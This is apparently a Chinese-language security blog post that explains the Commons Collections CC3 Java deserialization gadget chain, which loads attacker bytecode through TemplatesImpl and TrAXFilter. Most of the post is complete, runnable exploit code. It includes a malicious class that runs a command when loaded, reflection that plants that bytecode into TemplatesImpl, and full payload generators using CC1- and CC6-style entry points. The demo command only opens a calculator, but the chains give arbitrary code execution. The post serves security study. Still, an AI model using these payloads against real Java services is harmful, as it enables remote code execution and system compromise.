java反序列化之CC3

SoloWalker Lv3

java反序列化之CC3

CC3 简介

CC3 和之前的 CC1 和 CC6 有很大区别,CC1 和 CC6 是通过Runtime.exec()进行命令执行的,很多时候代码中会 ban 了Runtime

而在 CC3 中,是通过动态类加载机制实现自动执行恶意类代码的。

下面再回顾以下 java 动态类加载机制。

TemplatesImpl 解析

在我之前动态类加载的博客中有讲过利用ClassLoader#defineClass直接加载字节码的方法。在这一条链子中,简单说就是调用ClassLoader.loadClass(),然后会调用ClassLoader.findClass(),然后会调用ClassLoader.defineClass()

这里从正向看这个链子,首先loadClass(),作用是从已加载的类缓存、父加载器等位置寻找类(即双亲委派机制),在前面没有找到的情况下执行findClass()findClass()这个方法根据名称或位置加载 class 字节码,然后调用defineClass()findClass()这个方法通常会由子类实现。

defineClass()的作用是处理前面传入的字节码,把字节码转化成真正的 java 类。而此时的defineClass()是有局限性的,因为只加载类,并不执行类。若需要执行,则需要先进行newInstance()实例化。

ClassLoaderdefineClass()方法的作用域为protected,我们需要找到作用域为public的类方便使用。

TemplatesImpl类的静态内部类TransletClassLoader中找到了我们能够运用的defineClass

1
2
3
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}

这里的defineClass()没有标注作用域,默认为包级私有,在自己的类里可以调用。继续查找用法。

TemplatesImpldefineTransletClasses方法中找到了调用,这个方法是私有的,找一下谁调用了defineTransletClasses

还是同一个类下的getTransletInstance()方法调用了defineTransletClasses

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;

if (_class == null) defineTransletClasses(); //调用点

// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(_useServicesMechanism);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}

return translet;
}
catch (InstantiationException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (IllegalAccessException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}

这里同时还有一个newInstance()实例化的过程,如果能走完这个函数就能动态执行代码,但是因为是私有的,得继续找。

同一个类下的newTransformer()方法中调用了getTransletInstance()方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;

transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);

if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}

if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}

这是一个公有方法,接下来开始利用。

TemplatesImpl 利用

上面我们分析过,只要能走到getTransletInstance()方法即可,因为内部调用了newInstance()方法,接下来只要满足一系列限制条件就能利用。

下面先把利用链写出来,然后对着利用链逐条满足限制:

1
2
3
4
5
TemplatesImpl#newTransformer() ->

TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()

-> TransletClassLoader#defineClass()

首先是getTransletInstance()方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;

if (_class == null) defineTransletClasses();

// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(_useServicesMechanism);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}

return translet;
}
catch (InstantiationException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (IllegalAccessException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}

_name不能为空,同时_class为空。看一下这两个属性是什么:

1
2
3
private String _name = null;

private Class[] _class = null;

所以在利用的时候一定要先反射调用给_name赋值;而_class的作用是用来存放已加载的类,防止重复加载,默认值是null,对于一个新的TemplatesImpl实例来说,首次调用一定会触发defineTransletClasses()

然后到defineTransletClasses()方法里看一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
private void defineTransletClasses()
throws TransformerConfigurationException {

if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}

TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});

try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];

if (classCount > 1) {
_auxClasses = new HashMap<>();
}

for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();

// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}

if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
catch (ClassFormatError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (LinkageError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
1
private byte[][] _bytecodes = null;

这里的_bytecodes的值要是一个二维数组,所以我们可以创建一个二维数组。但是_bytecodes作为参数传递给defineClass的值是一个一维数组,而这个一维数组里面要存放我们构造的恶意字节码。我们先构造一个 poc。

1
2
3
4
5
6
7
8
9
10
11
12
13
package org.example.Calc;

import java.io.IOException;

public class Calc {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}

把它编译一下,然后我们读取到byte[]中去:

1
2
byte[] evil = Files.readAllBytes(Paths.get("C:\\Users\\32202\\Desktop\\CC3\\src\\main\\java\\org\\example\\Calc\\Calc.class"));
byte[][] code={evil};

回顾以下上面的源码,判断_bytecodes不是null后,就会进入下一步:自定义类加载器。

1
2
3
4
5
6
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});

这个自定义类加载器的TransletClassLoader类型的,也是在上面解析部分讲过的链尾,继承于ClassLoader。来看一下这段代码中的参数:

ObjectFactory.findClassLoader()这是ObjectFactory类调用了findClassLoader()静态方法,不需要关注。

_tfactory.getExternalExtensionsMap()中的_tfactory的定义为private transient TransformerFactoryImpl _tfactory = null;,这个参数用transient修饰了,不会被序列化,无法直接修改。虽然在利用的过程没有攻击的意义,但是这个_tfactory不能为null,否则无法走到defineClass这一步。

接下来找找_tfactory其他定义。

readObject()方法中,找到了_tfactory的初始化定义:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
private void  readObject(ObjectInputStream is)
throws IOException, ClassNotFoundException
{
SecurityManager security = System.getSecurityManager();
if (security != null){
String temp = SecuritySupport.getSystemProperty(DESERIALIZE_TRANSLET);
if (temp == null || !(temp.length()==0 || temp.equalsIgnoreCase("true"))) {
ErrorMsg err = new ErrorMsg(ErrorMsg.DESERIALIZE_TRANSLET_ERR);
throw new UnsupportedOperationException(err.toString());
}
}

// We have to read serialized fields first.
ObjectInputStream.GetField gf = is.readFields();
_name = (String)gf.get("_name", null);
_bytecodes = (byte[][])gf.get("_bytecodes", null);
_class = (Class[])gf.get("_class", null);
_transletIndex = gf.get("_transletIndex", -1);

_outputProperties = (Properties)gf.get("_outputProperties", null);
_indentNumber = gf.get("_indentNumber", 0);

if (is.readBoolean()) {
_uriResolver = (URIResolver) is.readObject();
}

_tfactory = new TransformerFactoryImpl(); //在这!!!
}

下面先使用目前的链子来构造一个初步的 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class test {
public static void main(String[] args) throws Exception{

TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"abc");

Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("C:\\Users\\32202\\Desktop\\CC3\\target\\classes\\org\\example\\calcEXP\\Calc.class"));
byte[][] code={evil};
bytecodes.set(templates,code);

Field tfactory = templatesClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());

templates.newTransformer();

}
}

但是报错了,这是因为在defineTransletClasses()方法中还有非常重要的一步:父类检查。

1
2
3
4
5
6
7
8
9
final Class superClass = _class[i].getSuperclass();

// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}

这里会判断我们构造的恶意类是否是ABSTRACT_TRANSLET,即com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet这个类的子类。如果不是,则会跳出程序。

所以我们让恶意类继承AbstractTranslet类,或者给_auxClasses赋值使其不为null

CC1 链的 TemplatesImpl 实现方法

TemplatesImpl 只是将原本的命令执行变成代码执行的方式,所以在不考虑黑名单的情况下,如果可以进行命令执行,则一定可以通过动态加载字节码进行代码执行。

所以在 CC1 链中只要把最后的命令执行方式修改一下就可以了。

初步的 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;


import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class test {
public static void main(String[] args) throws Exception{

TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"abc");

Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("C:\\Users\\32202\\Desktop\\CC3\\target\\classes\\org\\example\\calcEXP\\Calc.class"));
byte[][] code={evil};
bytecodes.set(templates,code);

Field tfactory = templatesClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());

//templates.newTransformer();

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",new Class[0],new Object[0])
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(1);
}
}

成功弹出计算器,接下来把 CC1 的前半段放进去:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
package org.example;

import com.sun.javafx.collections.MappingChange;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;


import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class test {

public static void serialize(Object obj) throws Exception{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static void unserialize(String filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
ois.readObject();
}

public static void main(String[] args) throws Exception{

TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"abc");

Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("C:\\Users\\32202\\Desktop\\CC3\\target\\classes\\org\\example\\calcEXP\\Calc.class"));
byte[][] code={evil};
bytecodes.set(templates,code);

Field tfactory = templatesClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());

//templates.newTransformer();

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",new Class[0],new Object[0])
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//chainedTransformer.transform(1);

HashMap<Object, Object> map = new HashMap<>();
map.put("value","abc");

Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class<?> aih = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> aihConstructor = aih.getDeclaredConstructor(Class.class, Map.class);
aihConstructor.setAccessible(true);
Object o = aihConstructor.newInstance(Retention.class, transformedMap);

serialize(o);
unserialize("ser.bin");
}
}

然后是 yso 版本的 TemplatesImpl 的实现方式。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;


import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class test {

public static void serialize(Object obj) throws Exception{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static void unserialize(String filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
ois.readObject();
}

public static void main(String[] args) throws Exception{

TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"abc");

Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("C:\\Users\\32202\\Desktop\\CC3\\target\\classes\\org\\example\\calcEXP\\Calc.class"));
byte[][] code={evil};
bytecodes.set(templates,code);

Field tfactory = templatesClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());

//templates.newTransformer();

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",new Class[0],new Object[0])
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//chainedTransformer.transform(1);

HashMap<Object, Object> map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

Class<?> aih = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> aihConstructor = aih.getDeclaredConstructor(Class.class, Map.class);
aihConstructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) aihConstructor.newInstance(Retention.class, lazyMap);

Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, invocationHandler);

invocationHandler = (InvocationHandler) aihConstructor.newInstance(Retention.class, proxyMap);

serialize(invocationHandler);
unserialize("ser.bin");
}
}

CC6 链的 TemplatesImpl 的实现方式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC6test {

public static void serialize(Object obj) throws Exception{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static void unserialize(String filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
ois.readObject();
}

public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"abc");

Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("C:\\Users\\32202\\Desktop\\CC3\\target\\classes\\org\\example\\calcEXP\\Calc.class"));
byte[][] code={evil};
bytecodes.set(templates,code);

Field tfactory = templatesClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());

//templates.newTransformer();

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",new Class[0],new Object[0])
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry,"value");
lazyMap.remove("key");

Class<LazyMap> lazyMapClass = LazyMap.class;
Field factory = lazyMapClass.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazyMap,chainedTransformer);

serialize(hashMap);
unserialize("ser.bin");
}
}

可以顺便回顾一下 CC1 和 CC6 的链子。

CC3 链

CC3 链分析

上面分析过,只要能调用到TemplatesImplnewTransformer()方法,就可以实现命令执行,接下来找一下谁调用了newTransformer()方法。

在所有的查找结果中,TrAXFilter最好使。

虽然这个类没有实现Serializable接口,不能序列化,但是构造函数是有利用面的。

1
2
3
4
5
6
7
8
public TrAXFilter(Templates templates)  throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}

CC3 中没有调用InvokerTransformer,而是调用了另一个类InstantiateTransformer

这个类是用来初始化Transformer的,我们看一下这个类下的transform方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public Object transform(Object input) {
try {
if (input instanceof Class == false) {
throw new FunctorException(
"InstantiateTransformer: Input object was not an instanceof Class, it was a "
+ (input == null ? "null object" : input.getClass().getName()));
}
Constructor con = ((Class) input).getConstructor(iParamTypes);
return con.newInstance(iArgs);

} catch (NoSuchMethodException ex) {
throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
} catch (InstantiationException ex) {
throw new FunctorException("InstantiateTransformer: InstantiationException", ex);
} catch (IllegalAccessException ex) {
throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);
} catch (InvocationTargetException ex) {
throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);
}
}

构造 EXP

后半段的命令执行是不变的,也就是TemplatesImpl部分的 EXP 是不变的。

先看一下后半段的 EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
package org.example.CC3serial;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class CC3serialize {
public static void main(String[] args) throws Exception{

TemplatesImpl templates = new TemplatesImpl();

Class<? extends TemplatesImpl> templatesClass = templates.getClass();
Field name = templatesClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"abc");

Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("C:\\Users\\32202\\Desktop\\CC3\\target\\classes\\org\\example\\calcEXP\\Calc.class"));
byte[][] codes={evil};
bytecodes.set(templates,codes);

Field tfactory = templatesClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);

}
}

后半部分的 EXP 写好了,接下来去找入口类的前半部分,而前半部分是从谁调用了transform方法开始,所以 CC1 和 CC6 前半部分 EXP 都是有效的。

CC1 作为前半段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
package org.example.CC3serial;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3serialize {

public static void serialize(Object obj) throws Exception{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static void unserialize(String filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
ois.readObject();
}

public static void main(String[] args) throws Exception{

TemplatesImpl templates = new TemplatesImpl();

Class<? extends TemplatesImpl> templatesClass = templates.getClass();
Field name = templatesClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"abc");

Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("C:\\Users\\32202\\Desktop\\CC3\\target\\classes\\org\\example\\calcEXP\\Calc.class"));
byte[][] codes={evil};
bytecodes.set(templates,codes);

Field tfactory = templatesClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
//instantiateTransformer.transform(TrAXFilter.class);
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

Class<?> aih = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> aihConstructor = aih.getDeclaredConstructor(Class.class, Map.class);
aihConstructor.setAccessible(true);
InvocationHandler invocationhandler = (InvocationHandler) aihConstructor.newInstance(Retention.class, lazyMap);

Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, invocationhandler);

Object o = aihConstructor.newInstance(Retention.class, proxyMap);

serialize(o);
unserialize("ser.bin");
}
}

CC6 作为前半部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
package org.example.CC6serial;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC6serialize {

public static void serialize(Object obj) throws Exception{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static void unserialize(String filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
ois.readObject();
}

public static void main(String[] args) throws Exception{

TemplatesImpl templates = new TemplatesImpl();

Class<? extends TemplatesImpl> templatesClass = templates.getClass();
Field name = templatesClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"abc");

Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("C:\\Users\\32202\\Desktop\\CC3\\target\\classes\\org\\example\\calcEXP\\Calc.class"));
byte[][] codes={evil};
bytecodes.set(templates,codes);

Field tfactory = templatesClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
//instantiateTransformer.transform(TrAXFilter.class);
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");
HashMap<Object, Object> serialMap = new HashMap<>();
serialMap.put(tiedMapEntry,"value");
lazyMap.remove("key");

Class<LazyMap> lazyMapClass = LazyMap.class;
Field factory = lazyMapClass.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazyMap,chainedTransformer);

serialize(serialMap);
unserialize("ser.bin");
}
}

总结

CC3 主要是另外一种命令执行的方式,能绕过黑名单。利用链主要就是和 CC1、CC6 区别不大,根据 CC1 和 CC6 的思路进行一下微调即可。

  • 标题: java反序列化之CC3
  • 作者: SoloWalker
